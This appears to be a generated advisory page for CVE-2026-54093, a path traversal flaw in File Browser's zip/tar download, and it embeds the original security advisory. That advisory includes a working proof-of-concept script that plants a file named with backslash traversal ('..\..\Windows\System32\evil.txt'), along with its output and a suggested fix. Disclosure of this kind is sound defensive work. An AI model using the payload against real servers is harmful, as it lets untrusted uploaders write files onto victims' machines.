CVE-2026-54093: File Browser Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-gxjx-7m74-hcq8
CWE-22
Published
Advisory Summary

CVE-2026-54093 is a MODERATE path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting File Browser libraries in the Go ecosystem. The issue involves filepath traversal in download-as-zip/tar via windows-style backslash separators in stored filenames. Remediation is available by upgrading affected packages to version 2.63.6.

CVE-2026-54093 at a Glance

CVE Identifier CVE-2026-54093
GHSA Identifier GHSA-gxjx-7m74-hcq8
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product File Browser
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-54093

To remediate this vulnerability, upgrade all affected File Browser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/filebrowser/filebrowser/v2 fixed: 2.63.6
Upgrade github.com/filebrowser/filebrowser/v2 to 2.63.6
github.com/filebrowser/filebrowser fixed: Latest secure release
Upgrade github.com/filebrowser/filebrowser to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/filebrowser/filebrowser/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54093, inspect your project dependencies for File Browser:

inspect dependencies for github.com/filebrowser/filebrowser/v2

Analyze the terminal output to locate any version of File Browser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.63.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In File Browser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary filebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\..\..\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\` as a path separator and write the extracted file **outside** the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. ### Details `http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`: ```go nameInArchive := strings.TrimPrefix(path, commonPath) nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator)) nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows archiveFiles = append(archiveFiles, archives.FileInfo{ FileInfo: info, NameInArchive: nameInArchive, Open: func() (fs.File, error) { return d.user.Fs.Open(path) }, }) ``` On Linux `filepath.Separator == '/'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory. The filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean("/" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file. ### PoC Deployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21). ```bash # 1. Deploy docker volume create fb-srv-vol docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5 # wait for /health == 200; read the generated admin password from `docker logs fb-poc` PW="<password from docker logs>" # 2. Authenticate TOK=$(curl -s -X POST http://localhost:8088/api/login \ -H 'Content-Type: application/json' \ -d "{\"username\":\"admin\",\"password\":\"$PW\"}") # 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C) curl -s -o /dev/null -w "mkdir=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK" FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt' curl -s -o /dev/null -w "putfile=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \ -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT' # 4. Download the folder as a zip and inspect the entry name curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK" python3 - <<'PY' import zipfile, binascii z = zipfile.ZipFile('/tmp/fb_evil.zip') print("entries:", [i.orig_filename for i in z.infolist()]) data = open('/tmp/fb_evil.zip','rb').read() idx = data.find(b'PK\x01\x02') print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode()) print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200]) PY ``` **Observed output (verbatim):** ``` mkdir=200 putfile=200 entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt'] central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973 contains 0x5c backslash byte: True ``` Server-side, the file exists with a literal backslash name: ``` -rw-r----- 1 user user 20 ..\..\..\..\..\Windows\System32\evil.txt ``` The central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\..\..\..\..\Windows\Sys...`. **Negative control** — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`: ``` safezone entries: ['normal.txt'] PUT ..%2F..%2Fevil2.txt -> HTTP 301 (collapsed by path.Clean; nothing escapes) ``` This proves `/` is handled but `\` is the unhandled gap. To observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows: ```powershell Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force # 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out ``` ### Impact Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree). ### Affected versions All current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim. ### Suggested fix Normalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`: ```go nameInArchive = filepath.ToSlash(nameInArchive) nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host ``` Optionally also reject or sanitize filenames containing `\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.

CVE-2026-54093 Affected File Browser Versions

2 component(s)
Fixed Versions:
2.63.6
Product / Package Ecosystem Affected Versions Fixed Version
github.com/filebrowser/filebrowser/v2
Go
< 2.63.6
2.63.6
github.com/filebrowser/filebrowser
Go
≤ 1.11.0

References

Frequently Asked Questions

What is CVE-2026-54093?
CVE-2026-54093 is a security vulnerability in File Browser involving FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which File Browser versions are affected?
Affected versions include releases prior to 2.63.6 across affected packages: github.com/filebrowser/filebrowser/v2, github.com/filebrowser/filebrowser.
What version fixes CVE-2026-54093?
Upgrading to 2.63.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/filebrowser/filebrowser/v2 affected?
Yes, github.com/filebrowser/filebrowser/v2 is affected in releases prior to 2.63.6. Upgrade your dependency to 2.63.6 or later.
Is github.com/filebrowser/filebrowser affected?
Yes, github.com/filebrowser/filebrowser is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2026-54093?
CVE-2026-54093 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-54093?
Run the dependency tree command: 'inspect dependencies for github.com/filebrowser/filebrowser/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gxjx-7m74-hcq8",
  "modified" : "2026-06-12T21:53:18Z",
  "published" : "2026-06-12T21:53:18Z",
  "aliases" : [ "CVE-2026-54093" ],
  "summary" : "File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames",
  "details" : "### Summary\nfilebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\\..\\..\\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted **verbatim** as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\\` as a path separator and write the extracted file **outside** the extraction directory — arbitrary file write on the victim who downloads and extracts the archive.\n\n### Details\n`http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/archives@v0.1.5`:\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\\' on Windows\narchiveFiles = append(archiveFiles, archives.FileInfo{\n    FileInfo:      info,\n    NameInArchive: nameInArchive,\n    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\nOn Linux `filepath.Separator == '/'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory.\n\nThe filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\\` in its name. Any user with the **Create** permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.\n\n### PoC\nDeployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21).\n\n```bash\n# 1. Deploy\ndocker volume create fb-srv-vol\ndocker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5\n# wait for /health == 200; read the generated admin password from `docker logs fb-poc`\nPW=\"<password from docker logs>\"\n\n# 2. Authenticate\nTOK=$(curl -s -X POST http://localhost:8088/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)\ncurl -s -o /dev/null -w \"mkdir=%{http_code}\\n\" \\\n  -X POST \"http://localhost:8088/api/resources/evilzone/\" -H \"X-Auth: $TOK\"\nFNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'\ncurl -s -o /dev/null -w \"putfile=%{http_code}\\n\" \\\n  -X POST \"http://localhost:8088/api/resources/evilzone/${FNAME}?override=true\" \\\n  -H \"X-Auth: $TOK\" --data-binary 'PWNED-BY-TONGHUAROOT'\n\n# 4. Download the folder as a zip and inspect the entry name\ncurl -s -o /tmp/fb_evil.zip \"http://localhost:8088/api/raw/evilzone?algo=zip\" -H \"X-Auth: $TOK\"\npython3 - <<'PY'\nimport zipfile, binascii\nz = zipfile.ZipFile('/tmp/fb_evil.zip')\nprint(\"entries:\", [i.orig_filename for i in z.infolist()])\ndata = open('/tmp/fb_evil.zip','rb').read()\nidx = data.find(b'PK\\x01\\x02')\nprint(\"central-dir hex:\", binascii.hexlify(data[idx:idx+72]).decode())\nprint(\"contains 0x5c backslash byte:\", b'\\x5c' in data[idx:idx+200])\nPY\n```\n\n**Observed output (verbatim):**\n```\nmkdir=200\nputfile=200\nentries: ['..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.txt']\ncentral-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973\ncontains 0x5c backslash byte: True\n```\nServer-side, the file exists with a literal backslash name:\n```\n-rw-r-----  1 user user  20  ..\\..\\..\\..\\..\\Windows\\System32\\evil.txt\n```\nThe central-directory hex tail `2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973...` decodes to `..\\..\\..\\..\\..\\Windows\\Sys...`.\n\n**Negative control** — a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by `path.Clean`:\n```\nsafezone entries: ['normal.txt']\nPUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)\n```\nThis proves `/` is handled but `\\` is the unhandled gap.\n\nTo observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows:\n```powershell\nExpand-Archive -Path .\\fb_evil.zip -DestinationPath .\\out -Force\n# 7-Zip / WinRAR with default settings honor the ..\\ parents and write outside .\\out\n```\n\n### Impact\nArbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).\n\n### Affected versions\nAll current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/archives@v0.1.5` passes the name through verbatim.\n\n### Suggested fix\nNormalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`:\n```go\nnameInArchive = filepath.ToSlash(nameInArchive)\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // strip Windows separators on any host\n```\nOptionally also reject or sanitize filenames containing `\\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.63.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.63.5"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.11.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-gxjx-7m74-hcq8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T21:53:18Z",
    "nvd_published_at" : null
  }
}